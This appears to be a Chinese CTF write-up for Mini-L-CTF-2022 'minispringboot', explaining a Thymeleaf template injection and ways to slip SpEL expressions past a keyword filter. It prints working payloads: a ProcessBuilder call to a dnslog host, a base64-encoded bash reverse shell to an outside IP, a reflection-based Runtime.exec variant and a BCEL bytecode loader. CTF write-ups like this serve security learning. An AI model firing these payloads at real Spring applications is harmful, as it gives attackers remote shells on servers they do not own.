Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过

Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过

就是一个低版本的Thymeleaf注入

漏洞点

public class MainController {
    @GetMapping({"/{language}"})
    public String test(@PathVariable(name = "language") String language, @RequestParam(required = false) String name, Model model) {
        if (name != null) {
            model.addAttribute("name", name);
            return language + "/game";
        }
        return language + "/index";
    }

可以看见路由和return的值我们都是可以控制的,所以这个很简单,相当于就套一个

__${}__::.x

主要是spel绕过,我们看到waf

if (Pattern.matches(".*new.*|.*untime.*", requestURI))

禁用了new和untime和也就是Runtime

怎么绕过new和Runtime方法很多,其实可以执行命令的还有ProcessBuilder

比如

__${New ProcessBuilder("curl xxx.dnslog.cn").start()}__::.x

怎么绕过new,这里我们这个是关键词

1.使用New就好了

然后反弹shell,需要base64编码解码

http://192.168.238.165:49153/__${New ProcessBuilder("bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}").start()}__::.x

然后如果要绕Runtime

可以反射调用

"".getClass().forName("java.lang.Run"+"time").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Run"+"time").getMethod("getRun"+"time").invoke("".getClass().forName("java.lang.Run"+"time")),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")

或则动态加载字节码

使用BCEL或则Spring自带的字节码

__${"".getClass().forName("java.lang.Class").getDeclaredMethod("n"+"ewInstance").invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3d$D$85$96ZDP$7c$bf$9f$e8$c2n$dci$5ch41$d6G$c4$e8z$Y$t8$88$z$v$83$f1$8f$5c$bbQ$e3$c2$P$f0$a3$8cw$w$a2$896$e9$7d$9d$7b$ce$bd$b7$7d$ffx$7d$D$b0$81e$X$OF$5c$8cb$cc$c1$b8$f1$T6$s$5dd0ec$da$c6$MCvK$85Jo3$a4$x$ab$X$M$d6nt$r$Z$K$81$K$e5q$e7$b6$s$e3s$5ekR$a5$UD$827$_x$acL$de$zZ$faZ$b5$Z$fa$82$9d$dd$bd$c0$t$5cl28$5b$a2$d9$d5d$d4S$O$g$fc$8e$fb$w$f2$PN$f6$ee$85li$V$85$d4$96$afj$$n$8ex$x$d1$a2$b5$Y$dcj$d4$89$85$dcWF$3bg$e4$d6$N$d7C$O$ae$8dY$Ps$98$a7$a1$G$f0$b0$80E$86$c1$7f$b4$3d$y$c1$r$7eo$t$86$81$a4$ad$c9$c3$ba$7fRkH$a1$Z$8a$3f$a5$b3N$a8$d5$z$8dt$ebR$f7$92re5$f8$d3C$7b$5b$f2$5e$92$e4J$e5$XZ$d5$b1$K$eb$9b$bf$J$a7q$qd$bbM$84B$8b$40$9d$5c$7b$ks$n$e9$K$9b$7e$8byR$60$e66$b2$7d$94$f9$e4$Z$f9$cc$da3$d8c$C$7bd$b3_E$e4$c9z$dd$b8$l$F$f2$O$Gzd$9e$88$B$a5$X$a4J$e9$tX$97$Pp$O$d7$9e$90$7dL$ea9$e2f$90N$U$87$v2$ec$i1$cd$c7$cd$93J$91$a2$ef$JyX$94$97$u$h$a4$d7F$w$b01d$RPN$96$g$fe$E$93$b3$9a$L$60$C$A$A"))}__::.x  
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值